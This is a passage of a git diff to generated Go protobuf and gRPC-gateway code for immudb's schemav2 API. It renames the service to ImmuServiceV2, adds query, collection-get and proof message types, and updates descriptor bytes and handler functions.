0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x95, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x2f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, - 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x90, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x85, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2f, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0xb1, 0x01, 0x5a, - 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, - 0x7f, 0x12, 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, - 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x81, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbb, 0x01, 0x5a, 0x2d, 0x67, 0x69, + 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, + 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, 0x88, 0x01, 0x12, + 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, + 0x50, 0x49, 0x20, 0x76, 0x32, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x59, + 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, + 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, + 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, + 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -924,60 +1088,67 @@ func file_schemav2_proto_rawDescGZIP() []byte { return file_schemav2_proto_rawDescData } -var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 16) +var file_schemav2_proto_enumTypes = make([]protoimpl.EnumInfo, 2) +var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 17) var file_schemav2_proto_goTypes = []interface{}{ - (*DocumentInsertRequest)(nil), // 0: immudb.schemav2.DocumentInsertRequest - (*DocumentSearchRequest)(nil), // 1: immudb.schemav2.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 2: immudb.schemav2.DocumentSearchResponse - (*LoginRequest)(nil), // 3: immudb.schemav2.LoginRequest - (*LoginResponse)(nil), // 4: immudb.schemav2.LoginResponse - (*PossibleIndexValue)(nil), // 5: immudb.schemav2.PossibleIndexValue - (*CollectionCreateRequest)(nil), // 6: immudb.schemav2.CollectionCreateRequest - (*CollectionInformation)(nil), // 7: immudb.schemav2.CollectionInformation - (*CollectionListRequest)(nil), // 8: immudb.schemav2.CollectionListRequest - (*CollectionListResponse)(nil), // 9: immudb.schemav2.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 10: immudb.schemav2.CollectionDeleteRequest - nil, // 11: immudb.schemav2.DocumentSearchRequest.QueryEntry - nil, // 12: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - nil, // 13: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - nil, // 14: immudb.schemav2.CollectionInformation.PrimaryKeysEntry - nil, // 15: immudb.schemav2.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 16: google.protobuf.Struct - (*_struct.Value)(nil), // 17: google.protobuf.Value - (*schema.VerifiableTx)(nil), // 18: immudb.schema.VerifiableTx - (*empty.Empty)(nil), // 19: google.protobuf.Empty + (QueryOperator)(0), // 0: immudb.schemav2.QueryOperator + (PossibleIndexType)(0), // 1: immudb.schemav2.PossibleIndexType + (*DocumentInsertRequest)(nil), // 2: immudb.schemav2.DocumentInsertRequest + (*DocumentQuery)(nil), // 3: immudb.schemav2.DocumentQuery + (*DocumentSearchRequest)(nil), // 4: immudb.schemav2.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 5: immudb.schemav2.DocumentSearchResponse + (*LoginRequest)(nil), // 6: immudb.schemav2.LoginRequest + (*LoginResponseV2)(nil), // 7: immudb.schemav2.LoginResponseV2 + (*CollectionCreateRequest)(nil), // 8: immudb.schemav2.CollectionCreateRequest + (*CollectionInformation)(nil), // 9: immudb.schemav2.CollectionInformation + (*CollectionGetRequest)(nil), // 10: immudb.schemav2.CollectionGetRequest + (*CollectionListRequest)(nil), // 11: immudb.schemav2.CollectionListRequest + (*CollectionListResponse)(nil), // 12: immudb.schemav2.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 13: immudb.schemav2.CollectionDeleteRequest + (*Proof)(nil), // 14: immudb.schemav2.Proof + nil, // 15: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + nil, // 16: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + nil, // 17: immudb.schemav2.CollectionInformation.PrimaryKeysEntry + nil, // 18: immudb.schemav2.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 19: google.protobuf.Struct + (*_struct.Value)(nil), // 20: google.protobuf.Value + (*schema.VerifiableTx)(nil), // 21: immudb.schema.VerifiableTx + (*empty.Empty)(nil), // 22: google.protobuf.Empty } var file_schemav2_proto_depIdxs = []int32{ - 16, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 11, // 1: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentSearchRequest.QueryEntry - 16, // 2: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 12, // 3: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - 13, // 4: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - 14, // 5: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry - 15, // 6: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry - 7, // 7: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation - 17, // 8: immudb.schemav2.DocumentSearchRequest.QueryEntry.value:type_name -> google.protobuf.Value - 5, // 9: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 5, // 10: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 5, // 11: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 5, // 12: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue - 3, // 13: immudb.schemav2.ImmuService.Login:input_type -> immudb.schemav2.LoginRequest - 0, // 14: immudb.schemav2.ImmuService.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest - 1, // 15: immudb.schemav2.ImmuService.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest - 6, // 16: immudb.schemav2.ImmuService.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest - 8, // 17: immudb.schemav2.ImmuService.CollectionList:input_type -> immudb.schemav2.CollectionListRequest - 10, // 18: immudb.schemav2.ImmuService.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest - 4, // 19: immudb.schemav2.ImmuService.Login:output_type -> immudb.schemav2.LoginResponse - 18, // 20: immudb.schemav2.ImmuService.DocumentInsert:output_type -> immudb.schema.VerifiableTx - 2, // 21: immudb.schemav2.ImmuService.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse - 7, // 22: immudb.schemav2.ImmuService.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation - 9, // 23: immudb.schemav2.ImmuService.CollectionList:output_type -> immudb.schemav2.CollectionListResponse - 19, // 24: immudb.schemav2.ImmuService.CollectionDelete:output_type -> google.protobuf.Empty - 19, // [19:25] is the sub-list for method output_type - 13, // [13:19] is the sub-list for method input_type - 13, // [13:13] is the sub-list for extension type_name - 13, // [13:13] is the sub-list for extension extendee - 0, // [0:13] is the sub-list for field type_name + 19, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 0, // 1: immudb.schemav2.DocumentQuery.operator:type_name -> immudb.schemav2.QueryOperator + 20, // 2: immudb.schemav2.DocumentQuery.value:type_name -> google.protobuf.Value + 3, // 3: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentQuery + 19, // 4: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 15, // 5: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + 16, // 6: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + 17, // 7: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry + 18, // 8: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry + 9, // 9: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation + 1, // 10: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 1, // 11: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 1, // 12: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 1, // 13: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType + 6, // 14: immudb.schemav2.ImmuServiceV2.LoginV2:input_type -> immudb.schemav2.LoginRequest + 2, // 15: immudb.schemav2.ImmuServiceV2.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest + 4, // 16: immudb.schemav2.ImmuServiceV2.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest + 8, // 17: immudb.schemav2.ImmuServiceV2.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest + 10, // 18: immudb.schemav2.ImmuServiceV2.CollectionGet:input_type -> immudb.schemav2.CollectionGetRequest + 11, // 19: immudb.schemav2.ImmuServiceV2.CollectionList:input_type -> immudb.schemav2.CollectionListRequest + 13, // 20: immudb.schemav2.ImmuServiceV2.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest + 7, // 21: immudb.schemav2.ImmuServiceV2.LoginV2:output_type -> immudb.schemav2.LoginResponseV2 + 21, // 22: immudb.schemav2.ImmuServiceV2.DocumentInsert:output_type -> immudb.schema.VerifiableTx + 5, // 23: immudb.schemav2.ImmuServiceV2.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse + 9, // 24: immudb.schemav2.ImmuServiceV2.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation + 9, // 25: immudb.schemav2.ImmuServiceV2.CollectionGet:output_type -> immudb.schemav2.CollectionInformation + 12, // 26: immudb.schemav2.ImmuServiceV2.CollectionList:output_type -> immudb.schemav2.CollectionListResponse + 22, // 27: immudb.schemav2.ImmuServiceV2.CollectionDelete:output_type -> google.protobuf.Empty + 21, // [21:28] is the sub-list for method output_type + 14, // [14:21] is the sub-list for method input_type + 14, // [14:14] is the sub-list for extension type_name + 14, // [14:14] is the sub-list for extension extendee + 0, // [0:14] is the sub-list for field type_name } func init() { file_schemav2_proto_init() } @@ -999,7 +1170,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { + switch v := v.(*DocumentQuery); i { case 0: return &v.state case 1: @@ -1011,7 +1182,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { + switch v := v.(*DocumentSearchRequest); i { case 0: return &v.state case 1: @@ -1023,7 +1194,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginRequest); i { + switch v := v.(*DocumentSearchResponse); i { case 0: return &v.state case 1: @@ -1035,7 +1206,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginResponse); i { + switch v := v.(*LoginRequest); i { case 0: return &v.state case 1: @@ -1047,7 +1218,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PossibleIndexValue); i { + switch v := v.(*LoginResponseV2); i { case 0: return &v.state case 1: @@ -1083,7 +1254,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { + switch v := v.(*CollectionGetRequest); i { case 0: return &v.state case 1: @@ -1095,7 +1266,7 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { + switch v := v.(*CollectionListRequest); i { case 0: return &v.state case 1: @@ -1107,6 +1278,18 @@ func file_schemav2_proto_init() { } } file_schemav2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionDeleteRequest); i { case 0: return &v.state @@ -1118,25 +1301,32 @@ func file_schemav2_proto_init() { return nil } } - } - file_schemav2_proto_msgTypes[5].OneofWrappers = []interface{}{ - (*PossibleIndexValue_NumberValue)(nil), - (*PossibleIndexValue_StringValue)(nil), - (*PossibleIndexValue_BoolValue)(nil), - (*PossibleIndexValue_IntValue)(nil), + file_schemav2_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Proof); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schemav2_proto_rawDesc, - NumEnums: 0, - NumMessages: 16, + NumEnums: 2, + NumMessages: 17, NumExtensions: 0, NumServices: 1, }, GoTypes: file_schemav2_proto_goTypes, DependencyIndexes: file_schemav2_proto_depIdxs, + EnumInfos: file_schemav2_proto_enumTypes, MessageInfos: file_schemav2_proto_msgTypes, }.Build() File_schemav2_proto = out.File diff --git a/pkg/api/schemav2/schemav2.pb.gw.go b/pkg/api/schemav2/schemav2.pb.gw.go index 6a5c4adbe9..f9cf10c3ae 100644 --- a/pkg/api/schemav2/schemav2.pb.gw.go +++ b/pkg/api/schemav2/schemav2.pb.gw.go @@ -33,7 +33,7 @@ var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join -func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoginRequest var metadata runtime.ServerMetadata @@ -45,12 +45,12 @@ func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.Login(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.LoginV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_LoginV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoginRequest var metadata runtime.ServerMetadata @@ -62,12 +62,12 @@ func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Ma return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.Login(ctx, &protoReq) + msg, err := server.LoginV2(ctx, &protoReq) return msg, metadata, err } -func request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -84,7 +84,7 @@ func request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime } -func local_request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -101,7 +101,7 @@ func local_request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler r } -func request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -118,7 +118,7 @@ func request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime } -func local_request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func local_request_ImmuServiceV2_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceV2Server, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata @@ -135,7 +135,7 @@ func local_request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler r } -func request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { +func request_ImmuServiceV2_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceV2Client, req 